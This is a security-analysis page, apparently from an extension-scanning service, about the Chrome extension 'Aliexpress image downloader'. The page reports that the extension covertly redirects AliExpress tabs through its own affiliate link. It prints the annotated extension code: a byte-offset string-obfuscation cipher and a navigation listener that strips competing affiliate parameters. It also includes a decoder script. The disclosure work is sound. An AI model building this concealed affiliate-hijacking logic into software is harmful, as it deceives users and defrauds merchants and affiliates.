Is Aliexpress image downloader safe?

Medium risk

Aliexpress image downloader redirects AliExpress item, cart, and order pages through s.click.aliexpress.com.

When an active tab loads an AliExpress item, cart, or order URL, the background service worker rewrites that tab to an AliExpress affiliate deep link. The rewritten URL includes the original AliExpress page as a dl_target_url parameter sent to s.click.aliexpress.com.

Download Tools USv4.1.10Chrome Web Store
45Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

AliExpress Page Loads Redirected Through the Extension's Own Affiliate Link

Opening an AliExpress item, cart, or order page, the worker rewrites the tab to its affiliate link at s.click.aliexpress.com/deep_link.htm before the page loads.

The link/key are rebuilt at runtime from an offset string, not plaintext.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-506
Source
Dynamic sandbox
What actually happens
You did this

You navigate to an AliExpress item, cart, or order page on aliexpress.com, aliexpress.ru, or aliexpress.us.

The extension did this

The extension's background service worker rewrites the same tab to its own affiliate link before you land on the real page.

The rewrite runs on every qualifying navigation while the extension is installed, independent of its image-download feature.

Captured request
GEThttps://s.click.aliexpress.com/deep_link.htm?aff_short_key=_DCvIfGB&dl_target_url=https://www.aliexpress.com/item/1005006109858288.html

302 redirect back to the original item URL, now carrying the extension's affiliate attribution

Why you can't catch this in DevTools

The redirect URL and the extension's affiliate key are not present as plaintext strings in the shipped file. They are reconstructed at runtime by subtracting each array value from the character codes of a hardcoded, unrelated-looking string.

Decoded value
{  "s (marker)": "_DCvIfGB",  "i (order match)": "aliexpress.com/order/",  "t (cart match)": "aliexpress.com/p/shoppingcart/",  "o (ru cart match)": "aliexpress.ru/shopcart/",  "r (redirect prefix)": "https://s.click.aliexpress.com/deep_link.htm?aff_short_key=",  "d (target param)": "&dl_target_url="}
The code that does this

The string-decode helper and the navigation listener, from the shipped background bundle (v4.1.10).

Readable version

The decode helper and byte arrays, annotated

// Byte-subtraction cipher: each array is a per-character offset// subtracted from the same hardcoded, unrelated-looking string.const MARKER_OFFSETS          = [9,48,49,-6,42,-44,-24,-19];               // -> "_DCvIfGB"const ORDER_MATCH_OFFSETS     = [7,8,11,11,-5,-54,-67,-54,-18,-7,59,2,9,3,67,-10,1,15,-56,-5,54];             // -> "aliexpress.com/order/"const CART_MATCH_OFFSETS      = [7,8,11,11,-5,-54,-67,-54,-18,-7,59,2,9,3,67,-11,68,0,-59,-2,-11,-12,0,-13,-57,0,14,-5,-69,50]; // -> "aliexpress.com/p/shoppingcart/"const RU_CART_MATCH_OFFSETS   = [7,8,11,11,-5,-54,-67,-54,-18,-7,59,-13,3,65,-1,-3,4,3,-54,12,-13,-16,58];    // -> "aliexpress.ru/shopcart/"const REDIRECT_PREFIX_OFFSETS = [0,0,0,0,0,0,0,0,-18,62,6,-7,15,13,7,55,18,7,-60,8,-19,-12,-9,-4,-69,-16,65,10,-64,-12,67,-1,3,4,6,6,-61,0,-1,-10,57,-3,-1,-62,46,0,18,-7,19,-14,11,0,-6,1,21,-2,10,-11,-14]; // -> "https://s.click.aliexpress.com/deep_link.htm?aff_short_key="const TARGET_PARAM_OFFSETS    = [66,16,8,17,-1,-39,-67,-56,-4,-8,10,-16,6,4,53]; // -> "&dl_target_url="const CIPHER_KEY_STRING = "https://aliexpress-media.com/archive/images/max_resolution/";function decode(offsets) {  let out = "";  for (let n = 0; n < offsets.length; n++) {    out += String.fromCharCode(CIPHER_KEY_STRING.charCodeAt(n) - offsets[n]);  }  return out;}

The navigation listener, annotated

// Runs on every tab navigation while the page is still loading.chrome.tabs.onUpdated.addListener(async (tabId, changeInfo) => {  const suppressUntil = await getStorage("l") || 0;   // 3-hour post-install cooldown, set in onInstalled  const now = Date.now();  const marker = decode(MARKER_OFFSETS);              // "_DCvIfGB"  if (changeInfo.status !== "loading") return;  const activeTab = (await chrome.tabs.query({ active: true, currentWindow: true }))[0];  const activeTabId = activeTab && activeTab.id;  const url = activeTab && activeTab.url;  if (!(suppressUntil <= now)) return;  if (url && (url.match(decode(ORDER_MATCH_OFFSETS)) ||              url.match(decode(CART_MATCH_OFFSETS))  ||              url.match(decode(RU_CART_MATCH_OFFSETS)))) {    // Cart / order pages: the full original URL, including its query string,    // is preserved inside dl_target_url.    if (url.indexOf(marker) === -1) {      await setStorage("l", now);      const redirectUrl = decode(REDIRECT_PREFIX_OFFSETS) + marker + decode(TARGET_PARAM_OFFSETS) + url;      chrome.tabs.update(activeTabId, { url: redirectUrl });    }  } else if (url && (url.match("aliexpress.com/item/") ||                      url.match("aliexpress.ru/item/")  ||                      url.match("aliexpress.us/item/")) &&             url.indexOf(marker) === -1) {    // Item pages: the query string is stripped before the redirect    // (url.split("?")[0]), so any competing affiliate parameter already    // on the URL is discarded.    const itemId = (url.match(/item\/(\d+)\.htm/) || [])[1];    const guard = await getStorage("p");    let alreadyHandled = false;    if (itemId && guard && guard.tabId === activeTabId && guard.itemId === itemId) alreadyHandled = true;    if (!alreadyHandled) {      await setStorage("l", now);      if (itemId) await setStorage("p", { tabId: activeTabId, itemId });      const redirectUrl = decode(REDIRECT_PREFIX_OFFSETS) + marker + decode(TARGET_PARAM_OFFSETS) + url.split("?")[0];      chrome.tabs.update(activeTabId, { url: redirectUrl });    }  }});
Reproduce it yourself

Reproduces the extension's byte-offset decode function against the arrays captured from background.bundle.js, so you can reconstruct the redirect URL and affiliate key yourself without installing the extension.

Requires
  • Node.js 14+
aliexpress-affiliate-decoder.js · js
// aliexpress-affiliate-decoder.js// Reproduces the extension's string-decode function against the byte-offset// arrays captured from background.bundle.js (v4.1.10).// Run: node aliexpress-affiliate-decoder.jsconst CIPHER_KEY_STRING = "https://aliexpress-media.com/archive/images/max_resolution/";function decode(offsets) {  let out = "";  for (let n = 0; n < offsets.length; n++) {    out += String.fromCharCode(CIPHER_KEY_STRING.charCodeAt(n) - offsets[n]);  }  return out;}const arrays = {  marker:         [9,48,49,-6,42,-44,-24,-19],  orderMatch:     [7,8,11,11,-5,-54,-67,-54,-18,-7,59,2,9,3,67,-10,1,15,-56,-5,54],  cartMatch:      [7,8,11,11,-5,-54,-67,-54,-18,-7,59,2,9,3,67,-11,68,0,-59,-2,-11,-12,0,-13,-57,0,14,-5,-69,50],  ruCartMatch:    [7,8,11,11,-5,-54,-67,-54,-18,-7,59,-13,3,65,-1,-3,4,3,-54,12,-13,-16,58],  redirectPrefix: [0,0,0,0,0,0,0,0,-18,62,6,-7,15,13,7,55,18,7,-60,8,-19,-12,-9,-4,-69,-16,65,10,-64,-12,67,-1,3,4,6,6,-61,0,-1,-10,57,-3,-1,-62,46,0,18,-7,19,-14,11,0,-6,1,21,-2,10,-11,-14],  targetParam:    [66,16,8,17,-1,-39,-67,-56,-4,-8,10,-16,6,4,53],};for (const [name, offsets] of Object.entries(arrays)) {  console.log(`${name}: ${decode(offsets)}`);}console.log("\nSample redirect for an item page:");const sampleUrl = "https://www.aliexpress.com/item/1005006109858288.html";console.log(decode(arrays.redirectPrefix) + decode(arrays.marker) + decode(arrays.targetParam) + sampleUrl);
How to run it
  1. 1node aliexpress-affiliate-decoder.js

Where it sends data

Destinations our analysis observed Aliexpress image downloader contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • s.click.aliexpress.com

    Aliexpress image downloader sends data to s.click.aliexpress.com. 24 other extensions we have analysed send data here.

Updated 30 September 2026clhjbkeakmannhalcigjgfnbmdfekkon